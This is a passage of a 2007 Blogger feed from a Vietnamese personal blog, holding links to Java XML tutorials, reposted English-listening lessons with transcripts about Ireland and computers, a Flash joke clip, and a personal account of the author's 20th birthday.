href='http://danglvh.blogspot.com/2007/09/judy-judy-judy.html' title='Judy Judy Judy'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2424482368424574707</id><published>2007-09-25T08:36:00.000+07:00</published><updated>2007-09-25T08:36:41.328+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineer'/><title type='text'>Writing and loading XML Data - Using JDom</title><content type='html'>Đây là một số link hướng dẫn bạn cách viết một đoạn code dùng để insert và load dữ liệu từ file XML trong Java sử dụng JDom.&lt;br /&gt;&lt;a href="http://www.topxml.com/tutorials/main.asp?id=jdom&amp;page=33"&gt;Interactive Java &amp; JDOM Online Tutorial&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.javaworld.com/javaworld/jw-05-2000/jw-0518-jdom.html"&gt;Easy Java/XML integration with JDOM&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ibm.com/developerworks/library/j-jdom/"&gt;Simplify XML programming with JDOM&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2424482368424574707?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2424482368424574707/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/writing-and-loading-xml-data-using-jdom.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2424482368424574707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2424482368424574707'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/writing-and-loading-xml-data-using-jdom.html' title='Writing and loading XML Data - Using JDom'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6913268212224243148</id><published>2007-09-24T22:23:00.000+07:00</published><updated>2007-09-24T22:23:41.385+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineer'/><title type='text'>Java and C# Comparison</title><content type='html'>Mời bạn ghé vào (&lt;a href="http://www.harding.edu/fmccown/java_csharp_comparison.html"&gt;đây&lt;/a&gt;) để xem chi tiết hơn. Trang web này sẽ so sánh Java và C# về mặt cấu trúc ngôn ngử của nó.&lt;br /&gt;Nếu bạn đã có chút kiến thức về lập trình thì dựa và so sánh này bạn cũng có thể tự học 2 ngôn ngử này đó. Dạo trên mạng thấy cái này hay nên post lên blog share cho mọi người.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6913268212224243148?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6913268212224243148/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/java-and-c-comparison.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6913268212224243148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6913268212224243148'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/java-and-c-comparison.html' title='Java and C# Comparison'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6838825372285422948</id><published>2007-09-18T10:56:00.000+07:00</published><updated>2007-10-05T12:04:11.982+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clip Hài'/><category scheme='http://www.blogger.com/atom/ns#' term='Funny'/><title type='text'>Đừng Có Tò Mò Mà Bấm Vào Đây</title><content type='html'>&lt;div style="TEXT-ALIGN: center"&gt;&lt;embed src=http://files.myopera.com/Nghecon18/swf/1Special4U.swf width=500 height=300 type=application/x-shockwave-flash allowScriptAccess="none"&gt;&lt;/embed&gt; &lt;/div&gt;&lt;br /&gt;( Cái này bên blog anh strad , thấy hay quá nên post lên đây .)&lt;br /&gt;&lt;a href="http://blog.360.yahoo.com/blog-ikedrEc9dLBaOXN_NuHR7Hpyd.4-?cq=1&amp;tag=funnyflash"&gt;nguồn&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6838825372285422948?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6838825372285422948/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/ng-c-t-m-m-bm-vo-y.html#comment-form' title='5 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6838825372285422948'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6838825372285422948'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/ng-c-t-m-m-bm-vo-y.html' title='Đừng Có Tò Mò Mà Bấm Vào Đây'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6024580096877547848</id><published>2007-09-17T14:03:00.002+07:00</published><updated>2007-09-17T14:03:40.522+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#581 Irish Cliffs  - Marion talks about the Cliffs of Moher in Ireland</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/581Q-Marion-Cliffs.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/581Q-Marion-Cliffs.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: So, Marion, for people that go to Ireland, what's one place they really should visit?&lt;br /&gt;&lt;br /&gt;Marion: Well, one of my favorite spots is called the Cliffs of Moher.&lt;br /&gt;&lt;br /&gt;Todd: The Cliffs of Moher.&lt;br /&gt;&lt;br /&gt;Marion: Yeah, and that's on the West Coast. It's quite near Galway, so it's a little bit to the south of Galway, I think.&lt;br /&gt;&lt;br /&gt;Todd: OK, so it's near Galway.&lt;br /&gt;&lt;br /&gt;Marion: Yeah.&lt;br /&gt;&lt;br /&gt;Todd: OK.&lt;br /&gt;&lt;br /&gt;Marion: That's a city on the West Coast of Ireland.&lt;br /&gt;&lt;br /&gt;Todd: What is this place, the Cliffs of Moher?&lt;br /&gt;&lt;br /&gt;Marion: The Cliffs of Moher are, as far as I know, are the tallest cliffs in Europe.&lt;br /&gt;&lt;br /&gt;Todd: Really, the tallest?&lt;br /&gt;&lt;br /&gt;Marion: Yeah. I'm pretty sure. Definitely the tallest cliffs in Ireland, but I'm quite sure that we have that distinction, that they're actually the tallest cliffs in the whole of Europe.&lt;br /&gt;&lt;br /&gt;Todd: Wow. That's pretty cool. (Yeah) So when you go to these cliffs, what can you do? Can you climb down them, or?&lt;br /&gt;&lt;br /&gt;Marion: No, you can't. (What) I think if you tried, you might end up in the water and you may never get up again.&lt;br /&gt;&lt;br /&gt;Todd: You serious?&lt;br /&gt;&lt;br /&gt;Marion: Yeah, it's quite scary. When I went there for the first time, I was quite young, and I went with my mother and brother and uncle, and I remember my mother was holding my hand, and my brother, who was younger than me, was of course more brave than I was, so he was going right up the edge, and looking over and leaning out and I was really, really scared because at that time, there was no barrier to keep you from falling in, so yeah, really, really scary.&lt;br /&gt;&lt;br /&gt;Todd: I bet. So when you go to the Cliffs of Moher is it really windy, does it rain a lot?&lt;br /&gt;&lt;br /&gt;Marion: Yeah, it's quite windy because you're right on the edge of Europe, basically you're facing the Atlantic ocean, which can get quite turbulent, there so you can see the waves crashing up against the cliffs. That's if you lean over of course. There's a flat area of rock where many tourists kind of lie on their stomachs and inch their way up to the edge and then they look over, but I was too scared when I went. I couldn't do it. I thought for sure I'd fall over and die.&lt;br /&gt;&lt;br /&gt;Todd: So assuming that someone goes to Ireland and they go to Dublin, they fly into Dublin, how will they get to the Cliffs of Moher?&lt;br /&gt;&lt;br /&gt;Marion: Um, pretty easily. Actually, from Dublin you have the choice of going either by train, directly across to Galway, then from Galway, you would need to take a bus, so you could go from Dublin to Galway by bus as well, but the train is probably more comfortable and then it would be a shortish bus ride to the Cliffs of Moher, but obviously in Ireland, you're best bet is really to hire a car if you can.&lt;br /&gt;&lt;br /&gt;Todd: OK. Well, sounds like a good place to go. Thanks Marion.&lt;br /&gt;&lt;br /&gt;Marion: No problem.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6024580096877547848?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/6024580096877547848/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/581-irish-cliffs-marion-talks-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6024580096877547848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/6024580096877547848'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/581-irish-cliffs-marion-talks-about.html' title='#581 Irish Cliffs  - Marion talks about the Cliffs of Moher in Ireland'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2486706122765150305</id><published>2007-09-16T01:22:00.004+07:00</published><updated>2007-09-16T01:22:44.743+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tam Su'/><title type='text'>Mừng Ngày Đăng Vừa Tròn 20 Tuổi :D</title><content type='html'>Hihi, sinh nhật lần thứ 20, Đăng không mong đợi gì hết đó, chỉ mong được đi chơi với honey, kể cho honey nghe trong 20 năm kể từ khi cất tiếng khóc chào đời, Đăng đã làm được những gì. Hihi, chỉ mong được ngồi cạnh honey để tâm sự thui. Thế rồi Đăng trông tới ngày này để được đi chơi với ây.&lt;br /&gt;&lt;br /&gt;Nhưng..., hichic, vào cái đêm trước sinh nhật mình, bõng ấy gọi cho mình, và nói là "anh ơi, ngày mai bé phải lên nhà chị bé để trông nhà cho chị rùi, ko đi sinh nhật với anh dc đâu". Hic, nghe mà choáng váng. Cứ tưởng chắc honey của tui chỉ đùa thui, nên hỏi kỹ lại lần nữa. Huhu, ấy nói thật gòi. Hic, thế là sinh nhật lần thứ 20 của mình. Hic, tiêu tan mất gòi, chả còn muốn làm gì nữa hết trơn. Hichic, sao em lại nở bỏ anh một mình trong ngày quan trọng thế này sao. Ngày mà anh bước sang tuổi đc nhà nước họ cho lấy vợ à. Huhu!!!&lt;br /&gt;&lt;br /&gt;Thế là vào cái ngày sinh nhật D, sáng sơm dậy đã nghe một tin giật gân rùi. Hichic, còn mèo con, hic, hỏng biết nó làm cài gì mà lại té vào hồ cá, chết queo. Hichic, mà Đăng lại tuổi con mèo mới ác chứ, huhu, thấy có điềm rùi.&lt;br /&gt;&lt;br /&gt;Hôm nay lại là ngày được trung tâm tin học Hoa Sen dẫn đi thực tế ở xưởng in Phạm Ngũ Lão nữa chứ. Hihi, thôi thì đi vậy, xem coi trong đó có cái gì, vậy là sách con wave đỏ đi. Dậy trể nên chạy bắn khói. Xuống kiếm gần chết. Cái xưởng in 5 Phạm Ngũ Lão. Cuối cùng cũng tìm ra nó, xong rùi vô gặp cái anh hướng dẫn. Anh dẫn một vòng xem qua cái xưởng in cùng với mấy thiết bị in, nói như gió chả biết nên hỏi gì hết trơn. Đi một vòng vừa đi vừa nói hết 20 phút xong ra, anh nói thế là tụi em đã được xem qua những công đoạn và những thiết bị in rùi đó. Hic, giờ sao, về hả, ờ, ảnh nói giờ mấy em về. Hic, trời ơi, từ Củ Chi chạy tới Gò Vấp,mất hết hơn tiếng đồng hồ chỉ để nghe ổng nói có 20 phút thui rùi về à. Hic, sao mà xui vậy trời. Xong rùi về đến CVPM Quang Trung là 9g15, ấy chà còn hẹn với đội bóng đi tập đá nữa mà, ngồi chờ tới 10g30. Hic, xong rùi dẫn tới chổ đá. Nói đi đá chứ D có đá đâu, hihi, dẫn anh em tới chổ đá xong xuống sân Đào Duy Anh ở Phú Nhuận hỏi anh Minh (admin niitvn.com/4rum) về sanh sách thi đấu và bộ đồng phục cho cầu thủ NIIT Quang Trung. Hic, đồ thì chưa có, lại quạy lại đội bóng. Bất đầu chia đội hình thi đấu chính thức. Xong rùi lại quay lại Gò Vấp, ở kú túc xá trường đại học Công nghiệp để rướt honey. Hỏi honey lần nữa, hum này honey có đi với anh dc ko. Honey vẫn một mực nói là bận. Chời ơi! Sao honey lại đối xử với anh vậy, huhu, trên đường về bùn thiểu bùn thiêu, honey ngồi ở đằng sau cứ khuyên nhủ, an ủi anh yêu đừng bùn nữa. Mà sao mà ko bùn được hả chời. Hichic.&lt;br /&gt;&lt;br /&gt;Ngày sinh nhật mà bận rộn ghê lun, mà còn ko đc đi chơi với người yêu nữa chứ. Hic, ông trời ổng bất công quá.&lt;br /&gt;&lt;br /&gt;Thế là về nhà, định tối nay sẽ mừng sinh nhật với chiếc máy tình rùi chứ. Nhưng mà chiều nay còn phải học anh văn nữa. Mà 5g30 mới học lựng mà sau mới có 3g mà mami cứ hối đi sớm hoài, chời mới có 3g mà đi đâu, xong rùi mẹ kêu đem đồ cho dì rùi đi lun. Uh, thì con đi, uạ thấy ngộ ngộ sao á ta. Bửa nay sau mẹ dọn dẹp nhà cửa dữ vậy hén. Hỏng biết mẹ định làm gì. Thấy nghi ngờ quá đi.&lt;br /&gt;&lt;br /&gt;Đem đồ cho Dì xong thì bắt đầu đi học thui, học ở elite gần Siêu thị Maximax Cộng Hòa á. Mới từ nhà Dì ra thì trời đã mưa xối xã, hic, xui tận mạc.&lt;br /&gt;&lt;br /&gt;Cuối cùng thì cũng tới lớp học rùi, mà sao học mà cứ thấy trong lòng nó sao sao ấy. Không thể diễn tả được luôn. Rồi trên đưong về cũng vậy, chả biết có cái gì đó đó cứ thóp thỏm trong lòng. Rùi thì cũng cố gắng về tới nhà.&lt;br /&gt;&lt;br /&gt;Từ từ chạy từ con hẻm vào nhà, nhà Đăng ở quê nên vào con hẻm cũng cây cối um tùm và cũng tối à nhen. Ấy chà chà, sao mà nhà mình có xe nhiều quá vậy trời, cũng 8g giờ rùi chứ mấy, sao nhiều xe quá vậy trời. Ý vào tới nhà thì thấy có mấy Dì, nhìn lên đằng trước thì thấy có thằng quỹ Hội, bạn thân tui đây mà, hỏi nó, ê mầy đi đâu đây vậy. Hic, Đăng la một cái chứ, ụa hum nay nhà mình có chuyện gì mà vui quá vậy. Hihi, ai cũng ồ cười hết trơn. Thì ra là honey và mum ở nhà tổ chức sinh nhật cho tui đây mà, chài D có biết gì đâu, có nghi nghi có chuyện gì đó rùi mà, nhưng ko ngờ lại bất ngờ như vậy. Vì D biết honey của D sẽ ko bao giờ bỏ D một mình nhất là trong ngày sinh nhật đặc biệt như vậy.&lt;br /&gt;&lt;br /&gt;Lúc đó, D chẳng còn biết gì hơn, ngoài việc chỉ cười và cười thui. Nào là bạn bè, nào là mấy Dì, mấy anh, mấy chị, mấy đứa em nhỏ nhỏ nữa. Hichic, sao mà mọi người làm cho Đăng cảm động vậy trời. Thì ra mấy ngày hum nay honey và mami đã bàn tính kế hoạch tổ chức sn cho mình đây mà, hèn gì thấy là lạ sao á.&lt;br /&gt;&lt;br /&gt;Ấy chà, mà còn có bánh kem nữa đây mà, có hoa nữa. Lần đầu tiên trong đời D lại có một buổi party sn như vậy. Hichic, chả lẻ con trai lại khóc hả trời. Bạn bè, gia đình D đứng bên cạnh Đăng xung quanh cái bánh kem rùi D đốt nến lên, mọi người cũng cùng nhau hát bài chúc mừng sinh nhật để chúc D, hic lần đầu tiên được như vậy á. Ui cha sao mà vui quá vậy. Hihi, D chả còn biết nói gì và làm gì nữa chỉ biết đứng và nhe răng cười, để chụp hình ấy mà. Hihi, một đêm sinh nhật lần thứ 20 đáng nhớ nhất của Đăng mà. Hihi, D vui hơn bao giờ hết, chưa lúc nào D vui như lúc này. Hihi, con cám ơn mẹ, mẹ ơi. Honey! Anh cám ơn em, honey của anh!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2486706122765150305?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2486706122765150305/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/mng-ngy-ng-va-trn-20-tui-d.html#comment-form' title='10 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2486706122765150305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2486706122765150305'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/mng-ngy-ng-va-trn-20-tui-d.html' title='Mừng Ngày Đăng Vừa Tròn 20 Tuổi :D'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7348550606011095550</id><published>2007-09-14T23:18:00.001+07:00</published><updated>2007-09-14T23:18:55.980+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#580 The Irish Economy - Marion talks about the growing Irish economy</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/580Q-Marion-Economy.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/580Q-Marion-Economy.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Todd: Hey, Marion, I was reading in the newspaper the other day that the economy in Ireland is doing really good.&lt;br /&gt;&lt;br /&gt;Marion: Yeah, it has been doing really well now for quite awhile, for a number of years. We call it the Celtic tiger phenomenon. Yeah.&lt;br /&gt;&lt;br /&gt;Todd: That's cute. The Celtic tiger in reference to the Asian tiger (yeah) which used to be the growing Asian economies.&lt;br /&gt;&lt;br /&gt;Marion: Yeah, exactly. So Ireland kind of has that place in Europe at the moment, has had like I say for quite a few years now.&lt;br /&gt;&lt;br /&gt;Todd: Like what industries are going really well in Ireland. What's making this happen?&lt;br /&gt;&lt;br /&gt;Marion: Above all, the computer industry. Yeah, I mean, we have lots of computer companies, companies making those computer chips.&lt;br /&gt;&lt;br /&gt;Todd: Right, right.&lt;br /&gt;&lt;br /&gt;Marion: I think actually I read somewhere that Ireland is the number one producing country of either those computer chips or some other element of a computer, cause I was very surprised and shocked that my small country could be number one in that arena, so we also have quite a number of people who move to Ireland from other places in Europe so we have a lot of speakers of different languages in Ireland and that has been used to set up call centers so for example, if you buy a mobile phone in Italy and something goes wrong with your mobile phone, you ring up a help desk, and say, "Oh, sorry, my phone is broken, you know, can you help me?" and the person who responds to you will probably be sitting in a call center in Ireland.&lt;br /&gt;&lt;br /&gt;Todd: That's pretty cool.&lt;br /&gt;&lt;br /&gt;Marion: Yeah, there's so many of them in Ireland. Actually, I've worked for three of them at different stages of my life, so we have ones for computer companies, for mobile phone companies, and what else, for some insurance companies actually, and banks. Yeah.&lt;br /&gt;&lt;br /&gt;Todd: That's pretty cool. Actually, I read that one of the reasons for the turn around is the good university system, or the education system in Ireland is quite top notch.&lt;br /&gt;&lt;br /&gt;Marion: Yeah, well, I mean, education has been very important all the way along in Ireland because of the fact that Irish people weren't allowed to have an education under british rule. Then once we got independence, you know, all along people were fighting to have education for their children and children used to be taught in hedge schools so the teachers were inside of a field basically, teaching kids and then if the policeman came of something, everybody would scatter, and you know, they didn't have anything, any like resources or anything, so in the minds of Irish people I think education has a a special place, and it is true that the university system is very well thought of and very well recognized throughout the rest of Europe I think.&lt;br /&gt;&lt;br /&gt;Todd: Ah, well, sounds good. Thanks Marion.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7348550606011095550?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7348550606011095550/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/580-irish-economy-marion-talks-about.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7348550606011095550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7348550606011095550'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/580-irish-economy-marion-talks-about.html' title='#580 The Irish Economy - Marion talks about the growing Irish economy'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7208393220945883358</id><published>2007-09-14T23:17:00.002+07:00</published><updated>2007-09-14T23:17:23.316+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#579 Computer Debate - Marion and Todd debate desktops and laptops</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/579Q-Marion-Computer.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/579Q-Marion-Computer.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="400"&gt;&lt;/embed&gt;&lt;br /&gt;    &lt;/object&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Introduction:&lt;/span&gt;&lt;br /&gt;You will hear four audio segments about a topic or situation.&lt;br /&gt;When the audio stops you will see a question with three possible answers.&lt;br /&gt;You must choose the correct answer to move forward. If you choose the wrong answer you have to listen again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Click Read More For Transcript&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Marion: Hey, Todd, you are exactly the person I was looking for. (Yeah) I have a favor to ask you.&lt;br /&gt;&lt;br /&gt;Todd: Sure.&lt;br /&gt;&lt;br /&gt;Marion: Well, the thing is, I'm thinking of buying a computer OK, but I really, I don't know too much about computers, you know that, so I want to know, which is better, a laptop or a desktop? Which do you think I should buy?&lt;br /&gt;&lt;br /&gt;Todd: Ah, that's a good question. Well, I'm not a computer pro but, I guess if you get a desktop computer for your house there's a lot of advantages. It has more memory, it has more power. You can get a bigger monitor for watching movies and things like that, and I think the number one reason that I like the desktop is it doesn't break. You know and it can't be stolen.&lt;br /&gt;&lt;br /&gt;Marion: As easily, yeah.&lt;br /&gt;&lt;br /&gt;Todd: Right, so when you have the laptop, you take it and you carry it everywhere that means it's easier to break, you know you can drop it (yeah) or it's easy to be stolen, so yeah. On the other hand though, if you just want to be mobile with your computer then obviously you want a desktop because you can take it everywhere, and you can use it in different places, so that's actually why I have two. I have a desktop and a laptop.&lt;br /&gt;&lt;br /&gt;Marion: So you have the best of both worlds, really.&lt;br /&gt;&lt;br /&gt;Todd: So what do you want to use your computer for?&lt;br /&gt;&lt;br /&gt;Marion: Well, mainly I want to use it to keep in touch with my family and my friends. That's my number one reason. I'd also like to use it for work, to make work sheets and that kind of thing for school, and the other thing, what was the other thing, oh yes, I want to use it to store my photos from my digital camera. That's really important to me because I'm afraid I'm going to lose one of the CD's and all of those photos or something like that.&lt;br /&gt;&lt;br /&gt;Todd: Well, how often do you think you'll be taking a computer with you, to work or somewhere?&lt;br /&gt;&lt;br /&gt;Marion: I don't know really. I mean, I suppose I could just buy a laptop and leave it at home, couldn't I?&lt;br /&gt;&lt;br /&gt;Todd: Sure. Sure. Yeah, I guess if you're just going to use for basic stuff then maybe, a laptop is good for you.&lt;br /&gt;&lt;br /&gt;Marion: Yeah. Yeah, maybe. It's so confusing. It's such a big decision for me. I don't know what to do. Thanks though for your advice.&lt;br /&gt;&lt;br /&gt;Todd: Sure.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7208393220945883358?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7208393220945883358/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/579-computer-debate-marion-and-todd.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7208393220945883358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7208393220945883358'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/579-computer-debate-marion-and-todd.html' title='#579 Computer Debate - Marion and Todd debate desktops and laptops'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2349050586654304051</id><published>2007-09-14T23:15:00.001+07:00</published><updated>2007-09-14T23:15:52.978+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='551-600'/><category scheme='http://www.blogger.com/atom/ns#' term='Learning English Online'/><title type='text'>#578 Used Clothes - Marion and Todd debate wearing used clothes</title><content type='html'>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="500" height="400"&gt;&lt;br /&gt;      &lt;param name="movie" value="http://elllo.org/Swiff0551-Old/578Q-Marion-Clothes.swf" /&gt;&lt;br /&gt;      &lt;param name="quality" value="high" /&gt;&lt;br /&gt;      &lt;embed src="http://elllo.org/Swiff0551-Old/578Q-Marion-Clothes.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" 